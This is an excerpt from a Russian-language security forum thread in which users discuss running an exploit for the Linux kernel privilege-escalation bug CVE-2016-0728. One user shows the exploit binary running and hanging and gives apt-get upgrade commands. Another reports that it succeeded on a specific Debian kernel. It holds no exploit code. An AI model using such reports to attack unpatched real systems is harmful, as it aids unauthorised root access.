    ckap@ckap-G31M-ES2L:~/dos$ ./cve_2016_0728 PP1
    uid=1000, euid=1000
    Increfing...
    ---> висит уже часа пол.

    И я успел получить ответы на главные вопросы.

    4.2. - версия ядра согласно "ванильной" нумерации, то есть от авторов
    23 - индекс уже от Каноникал

    Обновить ядро можно вместе со всем остальным:
    sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade


    "Ну и напоследок: если ты внимательно вчитаешься, то речь идет о взломе при физическом доступе к твоей машине или включеном тобою удаленном доступе, то есть фактической опасности для тебя не существует."
     
    #59 CKAP, 20 Jan 2016
    Last edited: 20 Jan 2016
  20. ZodiaX

    ZodiaX Reservists Of Antichat

    Joined:
    7 May 2009
    Messages:
    533
    Likes Received:
    308
    Reputations:
    51
    А у меня на Debian 3.2.63-2+deb7u2 x86_64 прокатило, 35 минут работы при 100% процах.